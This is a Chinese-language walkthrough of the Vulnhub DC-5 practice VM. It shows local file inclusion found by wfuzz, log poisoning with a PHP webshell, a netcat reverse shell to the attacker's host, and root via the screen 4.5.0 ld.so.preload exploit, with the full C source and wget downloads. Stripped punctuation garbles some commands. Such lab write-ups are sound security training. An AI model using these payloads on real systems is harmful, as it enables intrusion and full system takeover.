手把手教通关Vulnhub靶场-DC5靶机

手把手教通关Vulnhub靶场-DC5靶机
一.靶机下载官方链接https://download.vulnhub.com/dc/DC-5.zip网盘链接:https://pan.baidu.com/s/1eRXBBhv4vuL3pEBsQ8Wayg 提取码: m7in导入之后要在设置中将其调为NAT模式默认情况我们是不知道靶机的密码的目的是通过kali获取靶机中的flag信息二.靶机信息收集因为靶机与kali处于同一网络状态下使用命令arp-scan -l得到靶机的ip为192.168.194.137使用命令nmap -A 192.168.194.137对靶机进行扫描发现靶机开放了80端口尝试对80端口进行访问三.漏洞扫描使用dirsearch扫描一下敏感目录使用命令dirsearch -u http://192.168.194.137访问footer.php和thankyou.php的时候发现刷新网页时间会改变但在其他网页不会变化所以猜测在thankyou.php文件中包含footer.php文件存在文件包含thankyou.php无明显文件参数用 wfuzz 爆破 GET 参数使用命令wfuzz -c --hh1200 -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.194.137/thankyou.php?FUZZ/etc/passwd发现存在参数file访问http://192.168.194.137/thankyou.php?file/etc/passwd得到命令执行的回显四.上传webshell将?php system($_GET[cmd]) ?传入发现服务器为nginx于是尝试访问nginx的日志信息http://192.168.194.137/thankyou.php?file/var/log/nginx/error.log接着反弹shell使用命令http://192.168.194.137/thankyou.php?file/var/log/nginx/error.logcmdnc -e /bin/bash 192.168.194.134 1111nc lvvp 1111获取交互式shell使用命令python -c import pty; pty.spawn(/bin/bash);五.提权使用命令find / -perm -4000 -type f 2/dev/null发现/bin/screen-4.5.0确认提权点在msf里面寻找提权的poc使用命令searchsploit screen 4.5.0使用命令cat /usr/share/exploitdb/exploits/linux/local/41154.sh查看到这个poc的利用方式将41154.sh中上面一部分c语言代码另存为libhax.c#includestdio.h#includesys/types.h#includeunistd.h#includesys/stat.h__attribute__ ((__constructor__))voiddropshell(void){chown(/tmp/rootshell, 0, 0);chmod(/tmp/rootshell, 04755);unlink(/etc/ld.so.preload);printf([] done!\n);}使用命令gcc -fPIC -shared -ldl -o libhax.so libhax.c将41154.sh中下面一部分c语言代码另存为rootshell.c#includestdio.h#includeunistd.h#includesys/types.hintmain(void){setuid(0);setgid(0);seteuid(0);setegid(0);char*argv[] {/bin/sh, NULL};execvp(argv[0], argv);return0;}使用命令gcc -static -o rootshell rootshell.c将41154.sh中剩下部分代码另存为dc5.sh脚本文件#!/bin/bashecho~ gnu/screenroot ~echo[] Now we create our /etc/ld.so.preload file...cd/etcumask000# becausescreen-D-m-Lld.so.preloadecho-ne \x0a/tmp/libhax.so# newline neededecho[] Triggering...screen-ls# screen itself is setuid, so.../tmp/rootshell使用命令vim dc5.sh:set ffunix | wqchmodZx dc5.shpython3 -m http.server 8080切换到反弹shell页面使用命令cd /tmpwget http://192.168.194.134:8080/libhax.sowget http://192.168.194.134:8080/rootshellwget http://192.168.194.134:8080/dc5.sh使用命令cd /rootcat thisistheflag.txt成功获取最后的flag如有错误请大佬们指正到这里我们也是成功通关了DC5靶机后续会接着更新DC系列的靶机通关教程请多多关注一下